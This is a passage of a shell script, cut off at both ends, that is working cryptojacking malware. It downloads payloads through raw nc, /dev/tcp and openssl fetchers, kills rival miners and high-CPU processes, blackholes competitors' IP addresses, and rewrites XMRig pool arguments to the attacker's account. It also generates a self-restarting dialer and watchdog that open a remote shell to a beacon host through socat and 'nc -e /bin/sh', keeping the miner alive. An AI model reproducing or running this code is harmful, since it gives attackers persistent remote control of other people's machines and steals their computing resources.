      else
  :
        cat "$_hg_req" | openssl s_client -connect "${_hg_ip}:80" -quiet 2>/dev/null > "$_hg_raw"
      fi
    fi
    _hg_status=$(head -1 "$_hg_raw" 2>/dev/null | awk '{print $2}')
    case "$_hg_status" in
      301|302|303|307|308)
        _hg_loc=$(tr -d '\r' < "$_hg_raw" | awk 'tolower($1)=="location:"{print $2; exit}')
        rm -f "$_hg_req" "$_hg_raw" 2>/dev/null; true
        [ -z "$_hg_loc" ] && return 1
        case "$_hg_loc" in
          /*) _hg_loc="https://${_hg_host}${_hg_loc}" ;;
          http://*|https://*) ;;
          *) _hg_loc="https://${_hg_host}/${_hg_loc}" ;;
        esac
        _hg_url="$_hg_loc"
        continue
      ;;
    esac
    tr -d '\r' < "$_hg_raw" | perl -0777 -ne '
      if (/^(.*?)\n\n(.*)$/s) {
        my ($h, $b) = ($1, $2);
        if ($h =~ /transfer-encoding:\s*chunked/i) {
          my $out = "";
          while ($b =~ /^([0-9a-fA-F]+)\n(.*)$/s) {
            my $sz = hex($1); last if $sz == 0;
            $b = $2; $out .= substr($b, 0, $sz);
            $b = substr($b, $sz); $b =~ s/^\n//;
          }
          print $out;
        } else { print $b; }
      }
    ' | grep -v '^[0-9a-fA-F]*$'
    rm -f "$_hg_req" "$_hg_raw" 2>/dev/null; true
    return 0
  done
  return 1
}
http_get_bin() {
  _hg_url="$1"; _hg_out="$2"; _hg_follow=0
  while [ "$_hg_follow" -lt 5 ]; do
    _hg_follow=$((_hg_follow + 1))
    _hg_hp="${_hg_url#https://}"; _hg_hp="${_hg_hp#http://}"
    _hg_host="${_hg_hp%%/*}"; _hg_path="/${_hg_hp#*/}"
    [ "$_hg_host" = "$_hg_hp" ] && _hg_path="/"
    _hg_ip=$(getent ahostsv4 "$_hg_host" 2>/dev/null | awk '{print $1; exit}')
    [ -z "$_hg_ip" ] && _hg_ip="$_hg_host"
    _hg_req="/tmp/.hgreq$$"; _hg_raw="/tmp/.hgraw$$"
    printf 'GET %s HTTP/1.0\r\nHost: %s\r\nUser-Agent: Mozilla/5.0\r\nAccept: */*\r\nConnection: close\r\n\r\n' \
      "$_hg_path" "$_hg_host" > "$_hg_req"
    if [ "${_hg_url#https://}" != "$_hg_url" ]; then
  :
      if command -v timeout >/dev/null 2>&1; then
        timeout 45 openssl s_client -connect "${_hg_ip}:443" \
          -servername "$_hg_host" -quiet \
          < "$_hg_req" > "$_hg_raw" 2>/dev/null
      else
        openssl s_client -connect "${_hg_ip}:443" \
          -servername "$_hg_host" -quiet \
          < "$_hg_req" > "$_hg_raw" 2>/dev/null
      fi
      [ -s "$_hg_raw" ] || { rm -f "$_hg_req" "$_hg_raw" 2>/dev/null; return 1; }
    else
  :
      if command -v nc >/dev/null 2>&1; then
        cat "$_hg_req" | nc "$_hg_ip" 80 > "$_hg_raw" 2>/dev/null
      elif [ -n "$BASH_VERSION" ]; then
        exec 3<>"/dev/tcp/${_hg_ip}/80" 2>/dev/null
        cat "$_hg_req" >&3
        cat <&3 > "$_hg_raw" 2>/dev/null
        exec 3>&-
      else
        cat "$_hg_req" | openssl s_client -connect "${_hg_ip}:80" -quiet 2>/dev/null > "$_hg_raw"
      fi
    fi
    _hg_status=$(head -1 "$_hg_raw" 2>/dev/null | awk '{print $2}')
    case "$_hg_status" in
      301|302|303|307|308)
        _hg_loc=$(tr -d '\r' < "$_hg_raw" | awk 'tolower($1)=="location:"{print $2; exit}')
        rm -f "$_hg_req" "$_hg_raw" 2>/dev/null; true
        [ -z "$_hg_loc" ] && return 1
        case "$_hg_loc" in
          /*) _hg_loc="https://${_hg_host}${_hg_loc}" ;;
          http://*|https://*) ;;
          *) _hg_loc="https://${_hg_host}/${_hg_loc}" ;;
        esac
        _hg_url="$_hg_loc"
        continue
      ;;
    esac
    perl -0777 -ne '
      if (/^(.*?)\r\n\r\n(.*)$/s) {
        my ($h, $b) = ($1, $2);
        $h =~ s/\r//g;
        if ($h =~ /transfer-encoding:\s*chunked/i) {
          my $out = "";
          while ($b =~ /^([0-9a-fA-F]+)\r?\n(.*)$/s) {
            my $sz = hex($1); last if $sz == 0;
            $b = $2; $out .= substr($b, 0, $sz);
            $b = substr($b, $sz); $b =~ s/^\r?\n//;
          }
          print $out;
        } else { print $b; }
      }
    ' < "$_hg_raw" > "$_hg_out"
    rm -f "$_hg_req" "$_hg_raw" 2>/dev/null; true
    [ -s "$_hg_out" ] && return 0 || return 1
  done
  return 1
}
fetch_url() {
  _fu_url="$1"
  if command -v curl >/dev/null 2>&1; then
    _tool curl -fsSLk -A Mozilla/5.0 --connect-timeout 10 --max-time 60 "$_fu_url" 2>/dev/null
  elif command -v wget >/dev/null 2>&1; then
    _tool wget -qO- -U Mozilla/5.0 --timeout=10 --tries=2 "$_fu_url" 2>/dev/null
  else
    http_get "$_fu_url"
  fi
}
fetch_file() {
  _ff_url="$1"; _ff_out="$2"
  _ff_try=0
  while [ "$_ff_try" -lt 4 ]; do
    _ff_try=$((_ff_try + 1))
    _ff_ok=0
    if command -v curl >/dev/null 2>&1; then
      if [ -s "$_ff_out" ]; then
  :
        _tool curl -fLk --silent --show-error -A Mozilla/5.0 --connect-timeout 10 --max-time 180 \
          --retry 2 --retry-delay 2 -C - --output "$_ff_out" "$_ff_url" 2>/dev/null
      else
        _tool curl -fLk --silent --show-error -A Mozilla/5.0 --connect-timeout 10 --max-time 180 \
          --retry 2 --retry-delay 2 --output "$_ff_out" "$_ff_url" 2>/dev/null
      fi
      [ -s "$_ff_out" ] && _ff_ok=1
    elif command -v wget >/dev/null 2>&1; then
      _tool wget -q -U Mozilla/5.0 --timeout=15 --tries=3 -O "$_ff_out" "$_ff_url" 2>/dev/null
      [ -s "$_ff_out" ] && _ff_ok=1
    fi
    if [ "$_ff_ok" != "1" ]; then
      rm -f "$_ff_out" 2>/dev/null || true
      http_get_bin "$_ff_url" "$_ff_out" 2>/dev/null || true
      [ -s "$_ff_out" ] && _ff_ok=1
    fi
    _ff_el=$(_remote_len "$_ff_url")
    _ff_dl=$(wc -c < "$_ff_out" 2>/dev/null || echo 0)
    if [ -z "$_ff_el" ] || [ "$_ff_el" -le 0 ] 2>/dev/null; then
  :
      [ "$_ff_ok" = "1" ] && return 0
    elif [ "$_ff_dl" -ge "$_ff_el" ] 2>/dev/null; then
      return 0
    else
      log "Transfer incomplete ($_ff_dl/$_ff_el bytes) - retrying/resuming (attempt $_ff_try/4)"
      [ "$_ff_ok" = "0" ] && break
    fi
  done
  return 0
}
_remote_len() {
  if command -v curl >/dev/null 2>&1; then
    _tool curl -fsILk -A Mozilla/5.0 --connect-timeout 8 --max-time 15 "$1" 2>/dev/null \
      | tr -d '\r' | grep -ai '^content-length:' | tail -1 | tr -dc '0-9'
  elif command -v wget >/dev/null 2>&1; then
    _tool wget --spider -S -U Mozilla/5.0 "$1" 2>&1 \
      | grep -ai 'content-length:' | tail -1 | tr -dc '0-9'
  fi
}
_miner_ready() {
  _mr_f="$1"; _mr_u="$2"
  [ -s "$_mr_f" ] || return 1
  if [ -n "$MINER_KEY" ]; then
  :
    _is_elf_for_arch "$_mr_f" && return 0
    return 1
  fi
  _is_elf_for_arch "$_mr_f" || return 1
  _mr_el=$(_remote_len "$_mr_u")
  _mr_dl=$(wc -c < "$_mr_f" 2>/dev/null || echo 0)
  if [ -n "$_mr_el" ] && [ "$_mr_el" -gt 0 ] 2>/dev/null; then
    [ "$_mr_dl" -ge "$_mr_el" ] 2>/dev/null && return 0
    return 1
  fi
  [ "$_mr_dl" -ge 1000000 ] 2>/dev/null && return 0
  return 1
}
_is_excluded() {
  :
  _ie_pid="${2:-}"; _ie_cmdline="$1"
  for _ie_pat in systemdev dsvc cron-fetch beacon_ corecheck 1510 amq_ $_MD_DIR $_MD_BIN $_c6; do
    case "$_ie_cmdline" in
      *"$_ie_pat"*) return 0 ;;
    esac
  done
  [ -n "$_ie_pid" ] || return 1
  _ie_exe=$(readlink "/proc/$_ie_pid/exe" 2>/dev/null) || _ie_exe=''
  case "$_ie_exe" in
    */systemdev/*|*/.amq_*/*) return 0 ;;
    *)
      if [ -n "$_MD_DIR" ] && [ -n "$_MD_BIN" ]; then
        case "$_ie_exe" in
          */"$_MD_DIR"/"$_MD_BIN") return 0 ;;
        esac
      fi
      ;;
  esac
  [ "$_ie_exe" = '' ] && return 1
  if [ -r "${_ie_exe%/*}/.inst" ]; then
    _ie_inst=$(cat "${_ie_exe%/*}/.inst" 2>/dev/null)
    [ "$_ie_inst" = "$_c4.$_c1 $_c3" ] && return 0
  fi
  return 1
}
kill_themf() {
  (
    set +e
    _kt_threshold=9
    for _kt_proc in /proc/[0-9]*; do
      [ -r "$_kt_proc/status" ] || continue
      _kt_pid="${_kt_proc#/proc/}"
      _kt_cmdline=$(tr '\0' ' ' < "$_kt_proc/cmdline" 2>/dev/null)
      _is_excluded "$_kt_cmdline" "$_kt_pid" && continue
      _kt_score=0
      _kt_name=$(awk '/^Name:/ {print $2}' "$_kt_proc/status")
      _kt_uid=$(awk '/^Uid:/ {print $2}' "$_kt_proc/status")
      _kt_state=$(awk '/^State:/ {print $2}' "$_kt_proc/status")
      _kt_ppid=$(awk '/^PPid:/ {print $2}' "$_kt_proc/status")
      _kt_rss=$(awk '/^VmRSS:/ {print $2}' "$_kt_proc/status")
      _kt_rss=${_kt_rss:-0}
      _kt_exe=$(readlink -f "$_kt_proc/exe" 2>/dev/null)
      [ -n "$_kt_exe" ] && _kt_score=$((_kt_score + 1))
      [ "$_kt_rss" -gt 500000 ] 2>/dev/null && _kt_score=$((_kt_score + 2))
      [ "$_kt_rss" -gt 1000000 ] 2>/dev/null && _kt_score=$((_kt_score + 3))
      _kt_zombies=$(_tool ps --no-headers --ppid "$_kt_pid" -o stat 2>/dev/null | grep -c '^Z')
      [ "$_kt_zombies" -ge 5 ] 2>/dev/null && _kt_score=$((_kt_score + 3))
      [ "$_kt_zombies" -ge 20 ] 2>/dev/null && _kt_score=$((_kt_score + 2))
      _kt_user=$(id -nu "$_kt_uid" 2>/dev/null)
      if [ "$_kt_user" != root ]; then
        case "$_kt_state" in
          S*) _kt_score=$((_kt_score + 1)) ;;
        esac
      fi
      case "$_kt_exe" in
        /tmp/*|/var/tmp/*|/dev/shm/*)
          _kt_score=$((_kt_score + 4)) ;;
        "$HOME"/.cache/*|"$HOME"/.local/share/*|"$HOME"/.config/*)
          _kt_score=$((_kt_score + 4)) ;;
      esac
      [ -d "/proc/$_kt_ppid" ] || _kt_score=$((_kt_score + 1))
      if [ "$_kt_score" -ge "$_kt_threshold" ] 2>/dev/null; then
        echo "[+] Killing PID=$_kt_pid score=$_kt_score name=$_kt_name exe=$_kt_exe"
        kill -9 "$_kt_pid" 2>/dev/null
      fi
    done
  )
  return 0
}
kill_mf3() {
  (
    set +e
    _km_pat='syslog-ng-[0-9a-f]\{8\}|syslog-helper|donate-level|stratum+tcp|cryptonight|randomx|/proc/[0-9]+/exe'
    _km_skip="$_c5"
    _km_all=$(_tool ps -eo pid=,ppid=,args= 2>/dev/null) || return 0
    _km_all=$(printf '%s\n' "$_km_all" | grep -v -- "$_km_skip")
    _km_t1=$(printf '%s\n' "$_km_all" | grep -E "$_km_pat" 2>/dev/null | grep -vE 'kill_cryptojack|awk' | awk '/syslog-helper|donate-level/{print $1" "$2}')
    _km_t2=$(printf '%s\n' "$_km_all" | grep -E 'syslog-ng-[0-9a-f]{8}' 2>/dev/null | grep -v awk | awk '{print $1" "$2}')
    _km_t2b=$(printf '%s\n' "$_km_all" | grep -E 'stratum\+tcp|cryptonight|randomx|donate-level' 2>/dev/null | grep -vE 'syslog-ng|syslog-helper|kill_cryptojack|awk' | awk '{print $1" "$2}')
    _km_pids_of() { printf '%s\n' "$1" | awk 'NF{print $1}' | sort -un | tr '\n' ' '; }
    _km_t1p=$(_km_pids_of "$_km_t1")
    _km_t1par=$(printf '%s\n' "$_km_t1" | awk 'NF{print $2}' | sort -un | tr '\n' ' ')
    _km_list=$(printf '%s %s' "$_km_t1p" "$_km_t1par" | tr ' ' '\n' | sort -un | grep -E '^[0-9]+$' | tr '\n' ' ')
    if [ -n "$_km_list" ]; then
      kill -TERM $_km_list 2>/dev/null; sleep 1
      for _km_p in $_km_list; do kill -0 "$_km_p" 2>/dev/null && kill -KILL "$_km_p" 2>/dev/null; :; done
    fi
    _km_list=$(printf '%s %s' "$_km_t2" "$_km_t2b" | awk 'NF{print $1}' | sort -un | grep -E '^[0-9]+$' | tr '\n' ' ')
    if [ -n "$_km_list" ]; then
      kill -TERM $_km_list 2>/dev/null; sleep 2
      for _km_p in $_km_list; do kill -0 "$_km_p" 2>/dev/null && kill -KILL "$_km_p" 2>/dev/null; :; done
    fi
    sleep 1
    _km_left=$(_tool ps -eo pid=,args= 2>/dev/null | grep -E "$_km_pat" | grep -vE 'kill_cryptojack|grep' | grep -v -- "$_km_skip" | awk '{print $1}' | sort -un | tr '\n' ' ')
    [ -n "$_km_left" ] && kill -KILL $_km_left 2>/dev/null; :
  )
  return 0
}
kill_and_remove_process() {
  _karp_term="$1"
  [ -z "$_karp_term" ] && return 2
  for _karp_dir in /proc/[0-9]*; do
    [ -r "$_karp_dir/comm" ] || continue
    _karp_pid="${_karp_dir##*/}"
    _karp_comm=$(cat "$_karp_dir/comm" 2>/dev/null)
    _karp_cmdline=$(tr '\0' ' ' < "$_karp_dir/cmdline" 2>/dev/null)
    if [ "$_karp_comm" != "$_karp_term" ] && ! printf '%s\n' "$_karp_cmdline" | grep -Fq -- "$_karp_term"; then
      continue
    fi
    _karp_exe=$(readlink -f "$_karp_dir/exe" 2>/dev/null)
    [ -z "$_karp_exe" ] && continue
    case "$_karp_exe" in
      /bin/*|/sbin/*|/usr/bin/*|/usr/sbin/*|/lib/*|/lib64/*|/usr/lib/*) continue ;;
    esac
    echo "Terminating '$_karp_term' PID=$_karp_pid"
    kill "$_karp_pid" 2>/dev/null; sleep 1
    kill -0 "$_karp_pid" 2>/dev/null && kill -9 "$_karp_pid" 2>/dev/null
    if [ -f "$_karp_exe" ]; then
      rm -f -- "$_karp_exe" 2>/dev/null && echo "Deleted: $_karp_exe"
    fi
  done
  return 0
}
kill_high_cpu() {
  _khc_threshold=150.0
  _tool ps -eo pid,%cpu --sort=-%cpu 2>/dev/null | awk -v t="$_khc_threshold" 'NR>1 && $2 > t {print $1}' | while read -r _khc_pid; do
    [ -f "/proc/$_khc_pid/cmdline" ] || continue
    _khc_cmdline=$(tr '\0' ' ' < "/proc/$_khc_pid/cmdline")
    _is_excluded "$_khc_cmdline" "$_khc_pid" && continue
    kill -9 "$_khc_pid" 2>/dev/null && echo "Killed high-CPU PID=$_khc_pid"
  done
}
harden_network() {
  command -v iptables >/dev/null 2>&1 && {
    iptables -A INPUT -s 66.23.199.44 -j DROP 2>/dev/null || true
    iptables -A INPUT -s 45.94.31.89 -j DROP 2>/dev/null || true
  }
  command -v ip >/dev/null 2>&1 && {
    ip route add blackhole 139.59.59.33 2>/dev/null || true
    ip route add blackhole 45.94.31.89 2>/dev/null || true
    ip route add blackhole 154.89.152.115 2>/dev/null || true
    ip route add blackhole 84.21.173.223 2>/dev/null || true
    ip route add blackhole 142.132.131.238 2>/dev/null || true
  }
}
cleanup_files() {
  :
  rm -rf /bin/softirq 2>/dev/null || true
  rm -rf /var/tmp/.rsyslogd 2>/dev/null || true
  rm -rf /lib/systemd/cache/health-monitor 2>/dev/null || true
  rm -rf /usr/local/bin/watcher 2>/dev/null || true
  rm -rf /tmp/runnv/* 2>/dev/null || true
  rm -rf /lib/systemd/cache/asset-indexer 2>/dev/null || true
  rm -rf /tmp/nuclear 2>/dev/null || true
  rm -f /tmp/mon.sh 2>/dev/null || true
  rm -f /tmp/run.sh 2>/dev/null || true
  mkdir -p /bin/softirq 2>/dev/null || true
  mkdir -p /tmp/nuclear 2>/dev/null || true
  mkdir -p /tmp/runnv/lived.sh 2>/dev/null || true
  mkdir -p /tmp/runnv/alive.sh 2>/dev/null || true
  mkdir -p /usr/local/bin/watcher 2>/dev/null || true
  mkdir -p /lib/systemd/cache/health-monitor 2>/dev/null || true
  mkdir -p /var/tmp/.rsyslogd 2>/dev/null || true
  mkdir -p /lib/systemd/cache/asset-indexer 2>/dev/null || true
  for _cf_f in "${HOME_1:-/tmp}/systemdev/dsvc" /usr/lib/systemdev/dsvc /usr/lib/dev/systemdev/dsvc; do
    [ -f "$_cf_f" ] && rm -f "$_cf_f"
  done
  for _nf in /tmp/.nodebox /tmp/.cache/java_update /tmp/.jvbd /tmp/.sysjvd \
             /var/tmp/.X0_lock "$HOME/.cache/.kwork" "$HOME/.config/.local/.svc"; do
    rm -rf "$_nf" 2>/dev/null || true
    mkdir -p "$_nf" 2>/dev/null || true
  done
  rm -rf /var/tmp/.scsi_eh* /tmp/.sysd-private-*/ /dev/shm/.s[0-9A-Za-z][0-9A-Za-z]* 2>/dev/null || true
  rm -f /dev/shm/.khp 2>/dev/null || true
  mkdir -p /dev/shm/.khp 2>/dev/null || true
  rm -f /var/spamassassin/daemon.sh /var/spamassassin/healthCheck.log 2>/dev/null || true
  if [ -f /tmp/run-agent.sh ] && _gc_ra_ioc /tmp/run-agent.sh; then
    rm -f /tmp/run-agent.sh 2>/dev/null || true
  fi
  rm -f /tmp/.dl_[0-9]* /var/tmp/.dl_[0-9]* /dev/shm/.dl_[0-9]* 2>/dev/null || true
  if [ -f /opt/zimbra/sh ] && grep -aq -- '--oneshot' /opt/zimbra/sh 2>/dev/null; then
    rm -f /opt/zimbra/sh 2>/dev/null || true
  fi
}
safe_patch_args() {
  _spa_file='/lib/systemd/cache/process-watcher'
  _spa_value="-o $_c3 -u $_c4.P2"
  [ -f "$_spa_file" ] || return 0
  _spa_esc=$(printf '%s' "$_spa_value" | sed 's/[\/&]/\\&/g') || return 0
  if grep -q '^XMRIG_ARGS="[^"]*"$' "$_spa_file" 2>/dev/null; then
    sed -i "s/^XMRIG_ARGS=\"[^\"]*\"$/XMRIG_ARGS=\"$_spa_esc\"/" "$_spa_file" 2>/dev/null || :
  else
    printf '\nXMRIG_ARGS="%s"\n' "$_spa_value" >> "$_spa_file" 2>/dev/null || :
  fi
}
replace_pool_user() {
  _rpu_path="/var/tmp/.odoo_pg_health.json"
  [ -f "$_rpu_path" ] || return 0
  _rpu_esc=$(printf '%s' "$_c4" | sed -e 's/\\/\\\\/g' -e 's/&/\\&/g' -e 's/|/\\|/g') || return 0
  _rpu_tmp="${_rpu_path}.tmp.$$"
  sed -e "s|\(\"user\"[     ]*:[    ]*\)\"[^\"]*\"|\1\"${_rpu_esc}\"|g" \
    <"$_rpu_path" >"$_rpu_tmp" 2>/dev/null || { rm -f "$_rpu_tmp"; return 0; }
  [ -s "$_rpu_tmp" ] && mv -f "$_rpu_tmp" "$_rpu_path" 2>/dev/null || rm -f "$_rpu_tmp"
}
get_cpu_count() {
  if [ -f /proc/cpuinfo ]; then
    grep -c '^processor' /proc/cpuinfo
  else
    sysctl -n hw.ncpu 2>/dev/null || nproc 2>/dev/null || getconf _NPROCESSORS_ONLN 2>/dev/null || echo 1
  fi
}
is_ec2_host() {
  hostname | grep -qi -e "ec2" -e "compute"
}
_find_our_miners() {
  :
  for _fom_dir in /proc/[0-9]*; do
    _fom_pid="${_fom_dir##*/}"
    [ "$_fom_pid" = "$$" ] && continue
    _fom_comm=$(cat "$_fom_dir/comm" 2>/dev/null)
    _fom_exe=$(readlink "$_fom_dir/exe" 2>/dev/null)
    _fom_hit=0
    if [ "$_fom_comm" = "$_MD_BIN" ]; then
      case "$_fom_exe" in
        "") _fom_hit=1 ;;
        */"$_MD_DIR"/"$_MD_BIN") _fom_hit=1 ;;
      esac
    else
      case "$_fom_exe" in
        */"$_MD_DIR"/"$_MD_BIN") _fom_hit=1 ;;
        */systemdev/dsvc)
          _fom_inst=$(cat "${_fom_exe%/*}/.inst" 2>/dev/null)
          [ "$_fom_inst" = "$_c4.$_c1 $_c3" ] && _fom_hit=1
          ;;
      esac
    fi
    [ "$_fom_hit" = "1" ] || continue
    _fom_state=$(awk '{print $3}' "$_fom_dir/stat" 2>/dev/null)
    [ "$_fom_state" = "Z" ] && continue
    echo "$_fom_pid"
  done
  return 0
}
_retire_legacy_guardians() {
  for _rlg_p in /proc/[0-9]*; do
    [ -r "$_rlg_p/cmdline" ] || continue
    [ -r "$_rlg_p/stat" ] || continue
    _rlg_pid="${_rlg_p##*/}"
    [ "$_rlg_pid" = "$$" ] && continue
    _rlg_cmd=$(tr '\0' ' ' < "$_rlg_p/cmdline" 2>/dev/null)
    _rlg_is_guard=0
    [ "$_rlg_cmd" = "bash " ] && _rlg_is_guard=1
    [ "$_rlg_cmd" = "bash" ] && _rlg_is_guard=1
    case "$_rlg_cmd" in
      "bash -s -- #"*) _rlg_is_guard=1 ;;
    esac
    [ "$_rlg_is_guard" = "1" ] || continue
    _rlg_stat=$(cat "$_rlg_p/stat" 2>/dev/null)
    _rlg_tty=$(printf '%s' "$_rlg_stat" | awk '{print $7}')
    [ "$_rlg_tty" = "0" ] || continue
    kill -9 "$_rlg_pid" 2>/dev/null && log "stage: legacy guardian retired (pid $_rlg_pid)"
  done
  _rld_keep=""
  _rld_dir=$(dirname "$_beacon_file" 2>/dev/null)
  [ -n "$_rld_dir" ] && _rld_keep=$(cat "$_rld_dir/.beacon-dialer.pid" 2>/dev/null)
  if [ -n "$_rld_keep" ] && ! kill -0 "$_rld_keep" 2>/dev/null; then
    _rld_keep=""
  fi
  for _rld_p in /proc/[0-9]*; do
    [ -r "$_rld_p/cmdline" ] || continue
    _rld_pid="${_rld_p##*/}"
    [ "$_rld_pid" = "$$" ] && continue
    _rld_cmd=$(tr '\0' ' ' < "$_rld_p/cmdline" 2>/dev/null)
    case "$_rld_cmd" in
      *".beacon-dialer.sh dial"*)
        if [ -z "$_rld_keep" ]; then
          _rld_keep="$_rld_pid"          # adopt the first live dialer
        elif [ "$_rld_pid" = "$_rld_keep" ]; then
          :                              # the survivor
        else
          kill -9 "$_rld_pid" 2>/dev/null && log "stage: extra dialer retired (pid $_rld_pid)"
        fi ;;
    esac
  done
  if [ -n "$_rld_keep" ] && [ -n "$_rld_dir" ]; then
    printf '%s' "$_rld_keep" > "$_rld_dir/.beacon-dialer.pid" 2>/dev/null || true
  fi
  return 0
}
_kill_stale_generation_instances() {
  [ -n "$HOME_1" ] || return 0
  for _ksg_p in /proc/[0-9]*; do
    [ -r "$_ksg_p/exe" ] || continue
    _ksg_pid="${_ksg_p##*/}"
    [ "$_ksg_pid" = "$$" ] && continue
    _ksg_exe=$(readlink "$_ksg_p/exe" 2>/dev/null)
    case "$_ksg_exe" in
      "$HOME_1"/*) : ;;
      *) continue ;;
    esac
    case "$_ksg_exe" in
      */"$_MD_DIR"/"$_MD_BIN") continue ;;
    esac
    if kill -9 "$_ksg_pid" 2>/dev/null; then
      log "stage: stale instance killed (pid $_ksg_pid)"
    fi
  done
  return 0
}
_enforce_single_miner() {
  :
  _esm_keep="${1:-}"
  [ -n "$_esm_keep" ] || _esm_keep=$(_find_our_miners | sort -n | head -1)
  [ -n "$_esm_keep" ] || return 0
  for _esm_pid in $(_find_our_miners); do
    [ "$_esm_pid" = "$_esm_keep" ] && continue
    if kill -9 "$_esm_pid" 2>/dev/null; then
      log "Single-miner guard: killed duplicate PID $_esm_pid (kept $_esm_keep)"
    fi
  done
  return 0
}
_mark_miner_identity() {
  :
  _mmi_bin="$1"
  case "$_mmi_bin" in
    */"$_MD_DIR"/"$_MD_BIN"|*/systemdev/dsvc)
      printf '%s %s\n' "$_c4.$_c1" "$_c3" > "${_mmi_bin%/*}/.inst" 2>/dev/null || true
      ;;
  esac
  return 0
}
_install_self_dialer() {
  [ "$(id -u)" = "0" ] && return 0        # root has the cron lane
  _sd_bf="$_beacon_file"
  [ -f "$_sd_bf" ] || return 0
  _sd_dir=$(dirname "$_sd_bf" 2>/dev/null)
  [ -n "$_sd_dir" ] && [ -d "$_sd_dir" ] && [ -w "$_sd_dir" ] 2>/dev/null || _sd_dir="${TMPDIR:-/tmp}"
  [ -d "$_sd_dir" ] && [ -w "$_sd_dir" ] 2>/dev/null || return 0
  _sd_ver="v$_SFX"
  _sd_host="$_bh"
  _sd_port="$_bp"
  [ -n "$_sd_host" ] || _sd_host=$(sed -n 's/^_bh=\([^;]*\);.*/\1/p' "$_sd_bf" 2>/dev/null | head -1)
  [ -n "$_sd_port" ] || _sd_port=$(sed -n 's/.*_bp=\([0-9][0-9]*\).*/\1/p' "$_sd_bf" 2>/dev/null | head -1)
  [ -n "$_sd_host" ] || _sd_host="${BEACON_ENDPOINT%%:*}"
  [ -n "$_sd_port" ] || _sd_port="${BEACON_ENDPOINT##*:}"
  _sd_ip=$(getent ahostsv4 "$_sd_host" 2>/dev/null | awk 'NR==1{print $1}')
  [ -n "$_sd_ip" ] || _sd_ip=$(getent hosts "$_sd_host" 2>/dev/null | awk 'NR==1{print $1}')
  _sd_ep="${_sd_host}:${_sd_port}"
  printf '%s %s' "$_sd_host" "$_sd_ip" > "$_sd_dir/.beacon-endpoint" 2>/dev/null || true
  _sd_loop="$_sd_dir/.beacon-dialer.sh"
  _sd_pid="$_sd_dir/.beacon-dialer.pid"
  _sd_wpid="$_sd_dir/.beacon-watchdog.pid"
  _sd_vfile="$_sd_dir/.beacon-dialer.ver"
  {
    printf '#!/bin/sh\n'
    printf '# M39 self-dialer + watchdog — the cron-free lane.\n'
    printf '#   role "dial"  : re-runs the newest beacon on a jittered timer\n'
    printf '#   role "watch" : keeps the dialer AND the miner alive\n'
    printf '# The two supervise each other, so neither is a single point of failure:\n'
    printf '# killing the dialer makes the watchdog bring it back within seconds and\n'
    printf '# vice versa. The beacon is resolved FRESH every tick and must carry our\n'
    printf '# marker, so a planted .beacon_*.sh cannot hijack the lane.\n'
    printf '_ROLE="${1:-dial}"\n'
    printf '_BD="%s"\n' "$_sd_dir"
    printf '# Our endpoint, baked at land time. The dialer does NOT depend on the\n'
    printf '# beacon file existing: if it is gone or unreadable we dial directly.\n'
    printf '_EPH="%s"\n' "$_sd_host"
    printf '_EPP="%s"\n' "$_sd_port"
    printf '# last known IP (DNS fallback): if the record lapses, try this too.\n'
    printf '_EPI="%s"\n' "$_sd_ip"
    printf '_pick() {\n'
    printf '  for _f in $(ls -1t "$_BD"/.beacon_*.sh 2>/dev/null); do\n'
    printf '    grep -qs "^%s$" "$_f" 2>/dev/null && { printf "%%s" "$_f"; return 0; }\n' "$_BC_MARK"
    printf '  done\n'
    printf '  return 1\n'
    printf '}\n'
    printf '_alive() { [ -n "$1" ] && kill -0 "$1" 2>/dev/null; }\n'
    printf "# _direct: dial our baked endpoint WITHOUT the beacon file. This is what\n"
    printf '# keeps the lane alive when the beacon file is deleted or half-written.\n'
    printf '_direct() {\n'
    printf "  _ev='while read -r line; do eval \"\$line\" 2>&1; done'\n"
    printf '  for _h in "$_EPH" "$_EPI"; do\n'
    printf '    [ -n "$_h" ] || continue\n'
    printf '    if command -v socat >/dev/null 2>&1; then\n'
    printf "      timeout 240 socat TCP4:\"\$_h\":\"\$_EPP\" SYSTEM:\"\$_ev\" 2>/dev/null && return 0\n"
    printf '    fi\n'
    printf "    if nc -h 2>&1 | grep -qe '-e '; then\n"
    printf "      timeout 240 nc \"\$_h\" \"\$_EPP\" -e /bin/sh -c \"\$_ev\" 2>/dev/null && return 0\n"
    printf '    fi\n'
    printf '  done\n'
    printf '  return 1\n'
    printf '}\n'
    printf 'case "$_ROLE" in\n'
    printf 'watch)\n'
    printf '  printf "%%s" "$$" > "$_BD/.beacon-watchdog.pid" 2>/dev/null\n'
    printf '  while :; do\n'
    printf '    sleep 5\n'
    printf '    _DP=$(cat "$_BD/.beacon-dialer.pid" 2>/dev/null)\n'
    printf '    if ! _alive "$_DP"; then\n'
    printf '      setsid "$0" dial </dev/null >/dev/null 2>&1 &\n'
    printf '      sleep 1\n'
    printf '    fi\n'
    printf '    if [ -f "$_BD/.beacon-job.path" ]; then\n'
    printf '      _MB=$(head -1 "$_BD/.beacon-job.path" 2>/dev/null)\n'
    printf '      _MA=$(tail -n +2 "$_BD/.beacon-job.path" 2>/dev/null | head -1)\n'
    printf '      if [ -n "$_MB" ] && [ -x "$_MB" ]; then\n'
    printf '        _MOK=0\n'
    printf '        for _mp in /proc/[0-9]*; do\n'
    printf '          [ -r "$_mp/cmdline" ] || continue\n'
    printf '          case "$(tr "\\0" " " < "$_mp/cmdline" 2>/dev/null)" in\n'
    printf '            *"$_MB"*) _MOK=1; break ;;\n'
    printf '          esac\n'
    printf '        done\n'
    printf '        [ "$_MOK" = "0" ] && setsid "$_MB" $_MA </dev/null >/dev/null 2>&1 &\n'
    printf '      fi\n'
    printf '    fi\n'
    printf '  done\n'
    printf '  ;;\n'
    printf 'dial)\n'
    printf '  # M42: never run two dialers. The pidfile is the fast path but it can\n'
    printf '  # hold a PID that is not the live instance; the /proc scan is the\n'
    printf '  # authority. A second dialer means two sessions per host per tick.\n'
    printf '  for _dp in /proc/[0-9]*; do\n'
    printf '    [ "$_dp" = "/proc/$$" ] && continue\n'
    printf '    _dc=$(tr "\\0" " " < "$_dp/cmdline" 2>/dev/null)\n'
    printf '    case "$_dc" in\n'
    printf '      *".beacon-dialer.sh dial"*) exit 0 ;;\n'
    printf '    esac\n'
    printf '  done\n'
    printf '  printf "%%s" "$$" > "$_BD/.beacon-dialer.pid" 2>/dev/null\n'
    printf '  while :; do\n'
    printf '    # prompt first dial: the host may have been dark for a whole cadence\n'
    printf '    _BF=$(_pick)\n'
    printf '    if [ -n "$_BF" ] && [ -x "$_BF" ]; then\n'
    printf '      # fire and forget: the beacon holds the session open for up to\n'
    printf '      # 240s. Blocking on it would stall THIS loop (and with it the\n'
